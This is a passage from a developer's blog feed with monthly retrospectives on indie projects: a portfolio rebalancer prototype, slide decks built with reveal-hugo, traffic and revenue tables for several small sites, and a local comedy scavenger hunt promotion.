 &lt;a href="https://mtlynch.io/retrospectives/2020/04/rebalancer-current-holdings.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 743px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/04/rebalancer-current-holdings_hu_4651ce0685e83425.png 300w, https://mtlynch.io/retrospectives/2020/04/rebalancer-current-holdings_hu_1a99cc8fe06b82a6.png 600w, https://mtlynch.io/retrospectives/2020/04/rebalancer-current-holdings.png 741w'
 src="https://mtlynch.io/retrospectives/2020/04/rebalancer-current-holdings.png" alt="Screenshot of Portfolio Rebalancer showing current holdings" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 772px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/04/rebalancer-rebalanced.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 772px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/04/rebalancer-rebalanced_hu_bd273a136d77424c.png 300w, https://mtlynch.io/retrospectives/2020/04/rebalancer-rebalanced_hu_ace4a97e5119e944.png 600w, https://mtlynch.io/retrospectives/2020/04/rebalancer-rebalanced.png 770w'
 src="https://mtlynch.io/retrospectives/2020/04/rebalancer-rebalanced.png" alt="Screenshot of Portfolio Rebalancer showing rebalanced assets" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Prototype of my &lt;a href="https://rebalancer.mtlynch.io">portfolio rebalancer&lt;/a>, which helps investors adjust their holdings based on their investment strategy&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>I&amp;rsquo;m still trying to figure out how to market it. I sent cold emails to several local financial advisors offering to pay them their hourly rate to talk with me about what sort of tool would be useful to them or their clients, but none of them responded. I tried sharing it on &lt;a href="https://redd.it/fpyqmc">reddit&lt;/a> and got a small positive response, but nobody was banging down my door to get a paid version. My next idea is to write about the technical lessons I&amp;rsquo;m learning as I build the site and hope that it draws attention from programmers in my audience who invest their money similarly.&lt;/p>
&lt;h2 id="how-do-you-balance-percentages">How do you balance percentages?&lt;/h2>
&lt;p>To choose their asset allocation on Portfolio Rebalancer, the user adjusts a series of sliders to specify what percentage of their funds they want in each asset category. It seems simple enough, but I struggled with it for days.&lt;/p>
&lt;p>My initial implementation was that +1% in one slider should mean -0.5% in the other two sliders. It quickly became apparent that wouldn&amp;rsquo;t work, because if you set your first slider to 60%, then change your next slider to 10%, it auto-adjusted the last slider you set:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="sliders-naive.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>First implementation: can&amp;rsquo;t ever specify the set of percentages you want&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>Next, I tried adding a checkbox to &amp;ldquo;lock&amp;rdquo; a particular slider into place, but that felt convoluted and allowed the user to get into states where the percentage totals exceeded 100%:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="sliders-locking.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>Second implementation: extra &amp;ldquo;lock&amp;rdquo; controls are ugly and confusing&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>Finally, I realized the more intuitive behavior is to just auto-adjust the slider you touched least recently:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="sliders-final.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>Final implementation: balance changes against the least recently changed slider&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;h2 id="interesting-discoveries">Interesting discoveries&lt;/h2>
&lt;h3 id="writing-slide-decks-in-markdown-with-hugo-reveal">Writing slide decks in Markdown with hugo-reveal&lt;/h3>
&lt;p>I created a new conference talk for &lt;a href="https://nerdsummit.org/">NERD Summit&lt;/a> this year called &lt;a href="https://decks.mtlynch.io/nerds-2020/">&amp;ldquo;How I Used Python to Steal Money.&amp;rdquo;&lt;/a> For all previous talks, I&amp;rsquo;ve used Google Slides, but I&amp;rsquo;ve heard other people talk about using tools to &amp;ldquo;compile&amp;rdquo; their presentations from plaintext source files, and that sounded neat.&lt;/p>
&lt;p>I used &lt;a href="https://reveal-hugo.dzello.com/">reveal-hugo&lt;/a> because I already knew how to use the &lt;a href="https://gohugo.io">Hugo static site generator&lt;/a> (which powers this site).&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 784px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/04/reveal-code.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 784px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/04/reveal-code_hu_c0d4ec600c67b12c.png 300w, https://mtlynch.io/retrospectives/2020/04/reveal-code_hu_63769480971966a8.png 600w, https://mtlynch.io/retrospectives/2020/04/reveal-code.png 782w'
 src="https://mtlynch.io/retrospectives/2020/04/reveal-code.png" alt="Source code for my presentation" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 786px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/04/reveal-rendered.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 786px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/04/reveal-rendered_hu_687f6541e450faba.png 300w, https://mtlynch.io/retrospectives/2020/04/reveal-rendered_hu_3fd589939f161744.png 600w, https://mtlynch.io/retrospectives/2020/04/reveal-rendered.png 784w'
 src="https://mtlynch.io/retrospectives/2020/04/reveal-rendered.png" alt="HTML rendering of the presentation" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>&lt;a href="https://reveal-hugo.dzello.com/">reveal-hugo&lt;/a> lets you create slide decks in Markdown.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>The biggest advantage is that writing in Markdown allows me to focus on the content first and worry about the layout later. Google Slides requires me to choose the placement for any text before writing it, so I get distracted thinking about the aesthetics. reveal-hugo is also nice for formatting code snippets, which can be a challenge in Google Slides. The other neat feature is that it lends itself to more automation, so I now have &lt;a href="https://decks.mtlynch.io">an index for all of my talks&lt;/a>, which is cool. And the source is all &lt;a href="https://github.com/mtlynch/slide-decks">public&lt;/a>.&lt;/p>
&lt;p>One of the biggest pain points was that it&amp;rsquo;s hard to make slide elements appear one-by-one as the presenter clicks forward. The tool &lt;a href="https://reveal-hugo.dzello.com/#/24">technically supports it&lt;/a>, but it doesn&amp;rsquo;t work for things like &lt;a href="https://github.com/dzello/reveal-hugo/issues/36">bulleted lists&lt;/a>. Even when it does work, it makes the layout a little bit wonky. As a workaround, I created shorter slides, so instead of revealing the next bullet point, I&amp;rsquo;d advance to the next slide. This could be better for people who prefer slide decks to move more quickly.&lt;/p>
&lt;p>The other big missing piece is drag and drop layouts. In Google Slides, it&amp;rsquo;s trivial to add an arrow or box to highlight some part of a slide. In reveal-hugo, it&amp;rsquo;s equivalent to positioning layered images in HTML and CSS, which is quite a bit harder and more tedious.&lt;/p>
&lt;h3 id="undraw">unDraw&lt;/h3>
&lt;p>I always felt like other indie projects had such slick stock imagery, but I wasn&amp;rsquo;t sure if they were buying it or if it came from some template I didn&amp;rsquo;t know about. It turns out that most of what I was seeing came from &lt;a href="https://undraw.co">unDraw&lt;/a>, a collection of openly-licensed illustrations by &lt;a href="https://twitter.com/ninaLimpi">Katerina Limpitsouni&lt;/a>. If you need free illustrations for a new product, I recommend checking out unDraw.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/04/undraw.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/04/undraw_hu_493dae3279370200.png 300w, https://mtlynch.io/retrospectives/2020/04/undraw_hu_6ef5d54912ae53e9.png 600w, https://mtlynch.io/retrospectives/2020/04/undraw_hu_f5b6d38ab1a3f9b9.png 800w, https://mtlynch.io/retrospectives/2020/04/undraw.png 983w'
 src="https://mtlynch.io/retrospectives/2020/04/undraw.png" alt="Screenshot of unDraw website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://undraw.co">unDraw&lt;/a> is an open collection of illustrations that you can use in any project.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="legacy-project-stats">Legacy project stats&lt;/h2>
&lt;h3 id="wanderjest">&lt;a href="https://wanderjest.com">WanderJest&lt;/a>&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>February 2020&lt;/th>
 &lt;th>March 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>1,344&lt;/td>
 &lt;td>246&lt;/td>
 &lt;td>&lt;font color="red">-1,098 (-82%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>4,161&lt;/td>
 &lt;td>1,382&lt;/td>
 &lt;td>&lt;font color="red">-2,779 (-67%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Registered Users&lt;/td>
 &lt;td>4&lt;/td>
 &lt;td>10&lt;/td>
 &lt;td>&lt;font color="green">+6 (+150%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Affiliate Earnings&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Scavenger Hunt Earnings&lt;/td>
 &lt;td>$100.00&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>&lt;font color="red">-$100.00 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$100.00&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$0.00&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$100.00 (-100%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>WanderJest was struggling in the first half of the month. In the second half of the month, visits were basically nil, as every live show was canceled.&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>February 2020&lt;/th>
 &lt;th>March 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>47,698&lt;/td>
 &lt;td>33,007&lt;/td>
 &lt;td>&lt;font color="red">-14,691 (-31%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>123,288&lt;/td>
 &lt;td>80,368&lt;/td>
 &lt;td>&lt;font color="red">-42,920 (-35%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>26.0&lt;/td>
 &lt;td>26.0&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$286.95&lt;/td>
 &lt;td>$195.85&lt;/td>
 &lt;td>&lt;font color="red">-$91.10 (-32%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$395.67&lt;/td>
 &lt;td>$166.43&lt;/td>
 &lt;td>&lt;font color="red">-$229.24 (-58%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$682.62&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$362.28&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$320.34 (-47%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Is It Keto took a big hit this month after a strong start to the year. I suppose people are not that interested in diets when there&amp;rsquo;s a global pandemic raging on.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>February 2020&lt;/th>
 &lt;th>March 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>877&lt;/td>
 &lt;td>291&lt;/td>
 &lt;td>&lt;font color="red">-586 (-67%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>2,578&lt;/td>
 &lt;td>843&lt;/td>
 &lt;td>&lt;font color="red">-1,735 (-67%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Earnings&lt;/td>
 &lt;td>$2.27&lt;/td>
 &lt;td>$3.67&lt;/td>
 &lt;td>&lt;font color="green">+$1.40 (+62%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$2.27&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$3.67&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$1.40 (+62%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful remains quiet with a handful of occasional pay-as-you-go users.&lt;/p>
&lt;p>My one &lt;a href="https://mtlynch.io/retrospectives/2020/01/#zestful">enterprise client&lt;/a> was up for a plan renewal in early March, but they decided to cancel. I anticipated that because, from the beginning, they needed the high-tier plan so they could process their existing corpus of ingredients, and their ongoing needs wouldn&amp;rsquo;t be as significant. When they canceled, I asked if there was anything they felt was missing from Zestful or needed improvement, but they never responded.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Created a minimum viable product of the &lt;a href="https://rebalancer.mtlynch.io">Portfolio Rebalancer&lt;/a>.&lt;/li>
&lt;li>Presented my talk at NERD Summit: &lt;a href="https://decks.mtlynch.io/nerds-2020/#/">&amp;ldquo;How I Used Python to Steal Money.&amp;rdquo;&lt;/a>
&lt;ul>
&lt;li>There&amp;rsquo;s a &lt;a href="https://youtu.be/W05vGbi8B4A">recording&lt;/a>, but the audio quality is pretty bad.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Updated my blog newsletter so that subscribers can choose what type of updates to receive.
&lt;ul>
&lt;li>If you&amp;rsquo;re on my &lt;a href="#subscribe-form">mailing list&lt;/a>, you&amp;rsquo;ll see a link at the bottom of each email.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Promotional cards need to be as self-explanatory as possible
&lt;ul>
&lt;li>The cards I printed said, &lt;a href="https://mtlynch.io/retrospectives/2020/03/scavenger-cards.jpg">&amp;ldquo;Win fabulous cash prizes,&amp;rdquo;&lt;/a> but I think it would have been better to say something more specific like, &amp;ldquo;Every photo enters you into a drawing to win the $200 cash prize.&amp;rdquo;&lt;/li>
&lt;li>I shouldn&amp;rsquo;t have relied on users to visit the website to learn the specifics.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When you advertise on physical media like cards or flyers, use unique URLs for each type of media to track engagement.
&lt;ul>
&lt;li>I discovered this by mistake.&lt;/li>
&lt;li>The URL for the scavenger hunt was &lt;code>wanderjest.com/scavenger-hunt&lt;/code>, so I created the alias &lt;code>wanderjest.com/hunt&lt;/code> to save space on printed flyers.&lt;/li>
&lt;li>I later realized the unique URL allowed me to see how many people visited the URL from the flyer and track the flyer&amp;rsquo;s effectiveness (or lack thereof).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Conduct five customer interviews for the portfolio rebalancer.&lt;/li>
&lt;li>Implement customer payments for the portfolio rebalancer and either hide or limit the free version.&lt;/li>
&lt;li>Publish one new blog post.&lt;/li>
&lt;/ul></content:encoded></item><item><title>WanderJest: Month 2</title><link>https://mtlynch.io/retrospectives/2020/03/</link><pubDate>Tue, 03 Mar 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2020/03/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m betting big on a publicity campaign that&amp;rsquo;s at risk of failing spectacularly.&lt;/li>
&lt;li>WanderJest finally earned its first dollar of revenue, but in a way that is definitely unsustainable.&lt;/li>
&lt;li>Poor work habits have left me with the most stress I&amp;rsquo;ve felt in a year.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I &lt;a href="https://mtlynch.io/retrospectives/2020/02/#goals-for-next-month">declare what I&amp;rsquo;d like to accomplish&lt;/a>. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="make-1-in-revenue">Make $1 in revenue&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Earned $100 in revenue&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ve been pursuing affiliate partnerships for WanderJest, and I had agreements with three different shows to pay me a percentage of any purchases with WanderJest&amp;rsquo;s discount code. Crushingly, zero customers purchased tickets using my code.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m betting big on a publicity campaign that&amp;rsquo;s at risk of failing spectacularly.&lt;/li>
&lt;li>WanderJest finally earned its first dollar of revenue, but in a way that is definitely unsustainable.&lt;/li>
&lt;li>Poor work habits have left me with the most stress I&amp;rsquo;ve felt in a year.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I &lt;a href="https://mtlynch.io/retrospectives/2020/02/#goals-for-next-month">declare what I&amp;rsquo;d like to accomplish&lt;/a>. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="make-1-in-revenue">Make $1 in revenue&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Earned $100 in revenue&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ve been pursuing affiliate partnerships for WanderJest, and I had agreements with three different shows to pay me a percentage of any purchases with WanderJest&amp;rsquo;s discount code. Crushingly, zero customers purchased tickets using my code.&lt;/p>
&lt;p>I took in $100 in revenue by organizing a comedy scavenger hunt, though this revenue is probably not sustainable (more details &lt;a href="#100-in-revenue-but-at-what-cost">below&lt;/a>).&lt;/p>
&lt;h3 id="get-20-new-user-signups">Get 20 new user signups&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Four new users signed up&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D+&lt;/li>
&lt;/ul>
&lt;p>I was expecting more users to create accounts in anticipation of the comedy scavenger hunt, but I only had four signups.&lt;/p>
&lt;p>One of the new users is a comedian in New York, and I was excited that he used the new &lt;a href="wanderjest-signup.mp4">self-serve workflow&lt;/a> to create his own &lt;a href="https://wanderjest.com/performer/kersi.asare">performer profile&lt;/a>. As a cheat to launch WanderJest quickly, I created profiles on behalf of the performers so that I could defer work on a profile submission UI. I finally added user-managed profiles last week, so it was cool to check the site and see a performer page I didn&amp;rsquo;t create myself.&lt;/p>
&lt;h3 id="reach-2000-unique-visitors">Reach 2,000 unique visitors&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Attracted 1,344 unique visitors&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C+&lt;/li>
&lt;/ul>
&lt;p>Again, I expected the scavenger hunt to drive more visits, but the contest so far hasn&amp;rsquo;t been the draw that I hoped.&lt;/p>
&lt;h2 id="wanderjest-stats">WanderJest stats&lt;/h2>













 

 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 835px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/03/google-analytics.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 835px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/03/google-analytics_hu_3f03d305f56584a1.jpg 300w, https://mtlynch.io/retrospectives/2020/03/google-analytics_hu_c28b2accce5d9ec3.jpg 600w, https://mtlynch.io/retrospectives/2020/03/google-analytics_hu_5c0e5db619459447.jpg 800w, https://mtlynch.io/retrospectives/2020/03/google-analytics.jpg 833w'
 src="https://mtlynch.io/retrospectives/2020/03/google-analytics.jpg" alt="Screenshot of Google Analytics traffic for WanderJest" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>WanderJest visit statistics - February 2020&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;div style="height: 1.5em">&lt;!-- hack to add whitespace between graph and table -->&lt;/div>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>January 2020&lt;/th>
 &lt;th>February 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>821&lt;/td>
 &lt;td>1,344&lt;/td>
 &lt;td>&lt;font color="green">+523 (+64%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>2,933&lt;/td>
 &lt;td>4,161&lt;/td>
 &lt;td>&lt;font color="green">+1,228 (+42%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Registered Users&lt;/td>
 &lt;td>0&lt;/td>
 &lt;td>4&lt;/td>
 &lt;td>&lt;font color="green">+4 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Affiliate Earnings&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Scavenger Hunt Earnings&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;td>$100.00&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$0.00&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$100.00&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$100.00 (+inf%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="my-brilliant-marketing-plan">My brilliant marketing plan&lt;/h2>
&lt;p>In my &lt;a href="https://mtlynch.io/retrospectives/2020/02/#attracting-audiences">last retrospective&lt;/a>, I declared that WanderJest&amp;rsquo;s biggest challenge was bringing its online users to real-life shows:&lt;/p>
&lt;blockquote>
&lt;p>Ultimately, the thing that performers, venues, and show organizers care about above all else is &lt;strong>audiences&lt;/strong>. Fancy features and promotions mean nothing unless I can demonstrate to show organizers that WanderJest increases their ticket sales.&lt;/p>&lt;/blockquote>
&lt;p>When I shared WanderJest in local social media groups, people responded positively, but I couldn&amp;rsquo;t tell if that was translating to in-person show attendance. I needed a way to prove to myself and to show organizers that WanderJest brought people to shows.&lt;/p>
&lt;p>So, I came up with the Comedy Scavenger Hunt:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/03/banner.png">
 &lt;img
 
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/03/banner_hu_57a323dc47a9f6c5.png 300w, https://mtlynch.io/retrospectives/2020/03/banner_hu_8e3f0cca4c93e56c.png 600w, https://mtlynch.io/retrospectives/2020/03/banner_hu_f9a5a4d102714fb6.png 800w, https://mtlynch.io/retrospectives/2020/03/banner.png 800w'
 src="https://mtlynch.io/retrospectives/2020/03/banner.png" alt="WanderJest Comedy Scavenger Hunt banner" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The Scavenger Hunt is a contest I launched to market WanderJest to local residents.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Fans can win prizes by attending shows and posting photos to social media. Comedians win prizes based on how many photos fans take of them. Show organizers can contribute money to the contest to give their shows special status.&lt;/p>
&lt;p>Here&amp;rsquo;s how I expected it to play out:&lt;/p>
&lt;ol>
&lt;li>I announce the contest to local news outlets, who are eager to write a story about an ex-Google software engineer who moved to Western Massachusetts and formed a startup that specifically targets local performing arts.&lt;/li>
&lt;li>Residents see the news story and begin exuberantly sharing the scavenger hunt on social media in anticipation of the March 1st contest kickoff.&lt;/li>
&lt;li>Comedians see how excited people are to participate in the contest and bang down my door to join in.&lt;/li>
&lt;li>Die-hard fans compete for the #1 spot in the contest, and in the process, build the habit of checking WanderJest for comedy shows.&lt;/li>
&lt;li>Because participation happens over social media, the contest markets itself as people share photos from performances and tag WanderJest.&lt;/li>
&lt;li>After the contest is over, hundreds of locals have created WanderJest accounts to participate, and links from local news articles make WanderJest a top result in Google searches related to comedy in Western Massachusetts.&lt;/li>
&lt;/ol>
&lt;h2 id="my-difficult-marketing-reality">My difficult marketing reality&lt;/h2>
&lt;p>On Thursday, February 20th, I sent out a &lt;a href="https://wanderjest.com/press/scavenger-hunt-press-release-2020-02-20.pdf">press release&lt;/a> to seven local newspapers and TV channels. As soon as the email went out, I began staring at my phone, nervously waiting for the deluge of press interview requests to pour in.&lt;/p>
&lt;p>The phone never rang.&lt;/p>
&lt;p>Of the seven emails I sent, I received only one reply: a terse, disinterested response from an editor saying that he liked what I was doing but thought it would be hard for me to sustain it.&lt;/p>
&lt;p>I sought advice from my friend &lt;a href="https://www.gozynta.com">Heather Johnson&lt;/a> based on her past experience as a local journalist. She suggested that I reach out to reporters individually.&lt;/p>
&lt;blockquote>
&lt;p>I would send a specific journalist in each of the publications a direct email and introduce yourself. You need to make a journalist feel like it&amp;rsquo;s their special day. Talk briefly about why you left [Google] and what you are doing now and then say you have a press release and you hope they can help you get it to print.&lt;/p>
&lt;p>-Heather Johnson of &lt;a href="https://www.gozynta.com/">Gozynta&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>I tried that with 10 separate reporters, and my success rate was still small, but significantly better than my first attempt. One local TV reporter responded enthusiastically and recorded a TV interview with me a few days later. The interview never aired, and she hasn&amp;rsquo;t returned my emails. Another reporter offered to include my event in the Arts and Leisure section of the paper&amp;rsquo;s website in the next few weeks, which isn&amp;rsquo;t &lt;em>super&lt;/em> useful, but it&amp;rsquo;s better than nothing.&lt;/p>
&lt;p>Promoting the contest on social media also turned out to be harder than I expected. Groups that welcomed my initial WanderJest announcement with open arms totally ignored my announcement about the scavenger hunt:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 







&lt;div class="img" style="max-width: 502px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/03/fb-announce-1.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 502px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/03/fb-announce-1_hu_f9af11eb0232dac6.jpg 300w, https://mtlynch.io/retrospectives/2020/03/fb-announce-1.jpg 502w'
 src="https://mtlynch.io/retrospectives/2020/03/fb-announce-1.jpg" alt="Screenshot of initial WanderJest announcement on Facebook" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 







&lt;div class="img" style="max-width: 502px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/03/fb-announce-2.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 502px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/03/fb-announce-2_hu_e66ab3ddcb8689ea.jpg 300w, https://mtlynch.io/retrospectives/2020/03/fb-announce-2.jpg 502w'
 src="https://mtlynch.io/retrospectives/2020/03/fb-announce-2.jpg" alt="Screenshot of scavenger hunt announcement on Facebook" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>My post in a local Facebook group about launching WanderJest earned 33 likes, 12 comments, whereas my later scavenger hunt post received only 6 likes and no comments.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>One of the ways users can earn a chance at the $200 grand prize is by re-sharing WanderJest&amp;rsquo;s contest announcement post, but not a single person has done that, save for a few performers, and they&amp;rsquo;re ineligible for the grand prize.&lt;/p>
